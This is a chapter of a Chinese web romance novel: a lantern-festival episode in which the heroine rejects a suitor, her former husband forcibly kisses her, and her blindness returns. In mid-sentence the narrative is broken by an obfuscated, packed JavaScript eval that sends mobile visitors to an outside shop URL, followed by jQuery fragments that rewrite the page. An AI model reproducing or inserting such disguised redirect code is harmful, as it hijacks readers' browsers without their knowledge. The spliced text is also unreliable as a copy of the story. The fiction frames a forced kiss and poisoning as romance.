57. 一夜鱼龙舞

作品:《公主为囚

    苏箐憨憨地笑:“女郎可喜欢?不如...不如我买给你。”


    绫罗看那支发簪,款式很老气,是建康城几年前就时兴过的款式,做工也并不精致,她笑着摇摇头。


    “苏老板送我这个,不合适。”她并不是嫌弃这簪子的做工和款式,只是因为,发簪应当是男子买给心爱女子之物,苏箐送她不合适。


    “女郎不喜欢这个,那不如我们再去前面看看?”苏箐丝毫没听出言外之意。


    两人又走到一个铺子前,苏箐自顾自埋头挑选了好一阵,最后什么都没挑出来,问绫罗:“女郎可有看中的?”


    “没有。苏老板不必送我发簪,我不缺这些。”


    “那我给女郎买别的。”苏箐又看见一家买灯笼的铺子。


    此时天河两岸人山人海,彩色花灯将整条天河点亮,近看一片灯火辉煌,远看犹如一条燃烧着的金龙。


    几乎人人手上都提着一个灯笼,各种样式的灯笼一路看过来,都不带重样的。


    苏箐一眼看中那悬在最高处,最精致美丽的一个莲花灯。


    他今日钱袋子鼓鼓囊囊,是有备而来,势必要拿下这灯笼,豪迈对铺主道:“请问多少文一个。”


    铺主却笑笑摇摇头,“公子,谈钱岂不是俗气了。我这儿的灯不花钱买,要自己挣。”


    苏箐一愣。


    “怎么挣?”


    铺主指向旁边另一个铺子,“这也是我家的。”


    这恰是一家射箭的铺子,远处放着几个靶子,射中靶心者可得灯笼一只,而一支箭就要三文钱。


    苏箐瞠目结舌,看了看那高处的莲花灯,又眯眼看了看远处小小一个靶子,他常年伏案写书,目力不足,连这靶子的靶心在哪都看不见,只能看见远处一片模模糊糊的。


    “铺主,你这也太会挣钱了吧。”苏箐嫌弃瞥他。


    铺主笑嘻嘻:“公子就说玩不玩就行。”


    绫罗此时道:“苏老板不必为我破费。”她瞧了眼那花灯,确实比一般的精致,但也只是盏普通的灯罢了,这样的灯她见过无数,并不稀奇。


    苏箐愣在原地,左右为难,一面是想在心仪的女子面前挣出个面子,一面自己却完全没有能力去射什么箭。他兀自红了脸,最后弱弱说:“不如...咱们走吧。李女郎实在抱歉,我不会射箭...”


    绫罗笑道:“没事。”


    两人刚要走,一直在后面远远跟随的裴忌走到铺子前,对铺主淡然道:“给我一支。”


    绫罗盯着他的背影,见他走到射箭出,极其熟练地拉弓上箭,强劲有力的臂膀将弓弦拉满,他目光凌厉,箭头直指靶心。


    倏然间,只听一声铮鸣,箭如一只敏捷的鹰飞出去射向靶心。


    等众人反应过来时,裴忌已经射完了。


    人群纷纷朝这边看过来,有人鼓掌道:“好箭法!”


    苏箐瞠目结舌愣在原地,脸上火辣辣疼,他甚至忘记了骨子里对裴忌本能的恐惧,走上前使劲看着那靶心。箭分毫不差地射在靶心的圆点上,这箭法确实厉害。


    “李女郎...你家小厮还会武艺啊。”


    绫罗也看呆了,她知道裴忌军伍出身,可第一次见他时他已然入朝为官,俨然是个文臣模样,从未想过他会有一手好箭法。不过细细想来,以他的身材...武功定然是不会差的。


    她想着想着就想远了,脸上发烫。


    裴忌将花灯递到她面前时,她还在发愣。


    毓秀扯扯她衣袖,唤道:“女郎。”


    “啊?”


    绫罗猛然抬头,见面前裴忌正盯着她看,他脸上虽没有什么表情,眸色甚至还有些冷,可他的注视让她有些心虚。


    她瞥了眼花灯,“你喜欢自己留着吧,给我作甚?”


    说着拉着毓秀一起走了。


    裴忌没说什么,默默跟在后面。


    苏箐心里装着事,总显得不自在,绫罗没怎么在意,她一直在看街边的灯景,这种灯景对叶城百姓来说每年都能见一次,但对她这个眼睛刚刚痊愈的人来说,这样的灯景是独一份。


    不知不觉,两人就走到了同心桥边。


    苏箐脚步停住,满怀期冀的看向绫罗,绫罗一下就看懂他心中所想,没等苏箐开口,绫罗率先道:


    “传闻,叶城的同心桥很灵验,只要在灯节这天,有情人一同过桥,就能相守一生。苏老板以后若是有了心爱之人,也要带她来走一次啊。”


    苏箐皱眉,着急了,“李女郎,我不会再有心爱之人了。这个人我已经找到了。”


    “女郎...我能邀请你一同走过同心桥吗?”


    “不能。”


    苏箐整个人定住,眼中的期冀寸寸龟裂。


    绫罗的回答过于干脆,过于斩钉截铁,甚至没给他反应的时间。


    她不想招惹苏箐这样一个单纯善良的人,也不想用强硬的手段伤害苏箐,把血淋淋的真相揭开给他看,告诉他自己不堪的过去,告诉他她和另一个男人有过一段更加刻骨铭心的爱情。


    她心中想着措辞,尽量委婉道:“苏老板应当知道,我只将苏老板当做知己,无关其他情感。”


    “这样吗?”


    苏箐一副如遭雷劈的样子,颓然站着,失魂落魄。


    绫罗狠下心来:“我今年二十有三,三年前我从夫家出逃,躲在叶城当中,只想一个人过悠闲的日子,男婚女嫁之事与我而言浮云而已。”


    苏箐震惊得说不出话,嘴唇张张合合几次,最后只吐出一句:“我知道了。”


    苏箐一直知道绫罗家常被媒婆光顾,她这样的绝色,哪愁嫁不出去。他万万没想到,李女郎竟然曾嫁作人妇,也万万没想到,她竟然是从夫家逃出去的。


    心中突然生出一股子怜惜之意,被李女郎拒绝的难堪之情也消了大半。


    他重新笑了笑,拿出自己藏了许久的发簪:“我明白女郎的意思了,我以后不会纠缠,但女郎若有用得上我的地方,尽管开口。”


    他将发簪递出。


    “刚才偷偷买的,不给你就浪费了,收下吧,就当是朋友之间的赠与。”


    绫罗犹豫片刻,要接过这簪子。


    岂料一股大力从身后猛拉她入怀,她被裴忌拉着走上了同心桥。


    裴忌单手搂着她腰,另一手执灯。


    他的臂膀死死箍住她的细腰,揽着她到近前,两人身躯紧紧贴住,绫罗抬起双臂抵住他胸膛,要将他推开,却浑然推不动。


    绫罗挣扎着,裴忌没给她任何机会,吻住她唇。


    她逃避地后仰,他便将她抵在石桥的石栏上,不给她逃避的机会。


    双唇紧贴,他咬着她,用激烈凶猛动作吻她,吻里全是浓浓的占有欲。


    人潮涌动,灯火辉煌。


    绫罗喘息着,间隙间唤他姓名:“裴忌,裴忌...”


    她双腿发软,手上也没了力气,被他吻得要化成一滩水,眸中沁出泪花,她朦朦胧胧看着他的眼,那墨色的眼冷静异常看不出一点情动,动作却是这么勾人,每一个动作都敲在她心上。


    三年来,她只在梦中遇见过这样的裴忌。


    另一边,苏箐手上的发簪掉落,叮铃一声清脆的声音震得他心头打颤。


    原来如此原来如此...


    怪不得这个男人拿着画像要找李女郎,怪不得李女郎说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860079|187828||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自己是从夫家逃出去的,怪不得这个男人衣衫不整地从李女郎的卧室里出来。


    他这个容貌气度,怎么可能只是个小厮!


    他明明就是李女郎的前夫!


    苏箐连连后退,他这种常年写话本子的人,写了这么多风花雪月,怎么能看不出李女郎和这个男人间的暗流涌动!


    他转身默默离去,发簪横躺在地上,被不知道谁踩了一脚,断了。


    ——


    裴忌松开绫罗,将她堵在石栏边。


    她唇色鲜红,还微微发肿,一双眼睛哭得红了,水盈盈看着他,无辜的眸子如猫儿一般。


    她转头去找那被丢在一旁的苏箐,裴忌捏住她下颌强迫她看她。


    “还想着他?”他冷硬道。


    绫罗愤愤瞪他一眼,用力一推把他推开,甩着袖子快步下桥。


    裴忌连忙抬腿去追,拉住她手。


    绫罗步子顿住,眼前模糊一下。她揉揉眼睛,难道是因为自己太累了。眼前再次恢复清明,方才的模糊只存在一瞬间,她怀疑是自己看错了。


    她转过头来看裴忌,谁知道裴忌的脸在她眼前渐渐模糊。她慌乱地睁大眼睛,双手握住裴忌的手,用力去看他。


    她慌乱的神色刺痛的裴忌,裴忌瞬间察觉出不对劲,手在绫罗眼前试探,却见她双眼无神,空洞的眸子里没有情绪,只有淡然和死寂。


    绫罗反应过来,自嘲一笑。


    “我的眼睛真的治不好了吗?”


    裴忌松开灯笼,灯笼掉落在地上,火焰点燃灯罩,在地上烧起熊熊火焰。若裴忌还不知道发生了什么,那才是真的傻了,他将绫罗打横抱起,抱着她过桥,往医馆的方向走。


    绫罗鼻尖是他熟悉的冷香,眼前一片黑暗,只听见他剧烈地喘息着,他的情绪不平静,但他一句话都不说。


    “你怎么不说话了,我们要去哪?”


    “找廖梅生。”他声音沙哑低沉。


    “若我眼睛一直不好,你会一直找廖先生的麻烦吗?”


    “对,你说的对,我不会放过廖梅生的。”他发狠道。


    “你别伤害廖先生。还有,我与苏箐之事已经了结,你也别找他麻烦。”


    “这种情况了你还在提别的男人?绫罗,我对你的要求从始至终都是这个,别在我面前提旁的男人。”


    “好。”她弱弱道。没心力和他争执了,随他去吧。


    她心里酸酸的不是滋味,今晚突然看不见,她心情本就不好,裴忌的怀中又过于温暖安稳,让她忍不住想哭。


    她低声呢喃道:“早知今日何必当初呢。”


    我的眼睛,不正是拜你所赐吗?你想控制我时就毒瞎我的眼睛,想对我好时,又要治好我的眼睛,你将我当什么?


    这些话她没有说出口。


    裴忌已然将她抱到了保和堂,一脚踹开保和堂大门。


    廖梅生吓一大跳,急急忙忙跑过来,见是裴忌和绫罗才松了口气。


    “丫头怎么了?”


    “廖先生,我的眼睛。”


    “眼睛。”廖梅生试探她双眼,“眼睛又看不见了?”


    裴忌的耐心要到极限,强忍着怒气,“廖梅生,不想死就给朕想办法。”


    “怎么会呢?怎么会呢?”廖梅生急得来回踱步,疯魔一般翻着医书,“怎么会呢,明明已经用了紫竹花,师父的手记上就是这么写的啊,还缺了什么......难道,一定要用那个方法吗?”


    “不可能啊,那个方法也太胡扯了,老朽行医多年,从未见过这么解毒的办法。”


    裴忌一把按住他肩膀,双眸染血,阴沉道:“什么办法,告诉朕。”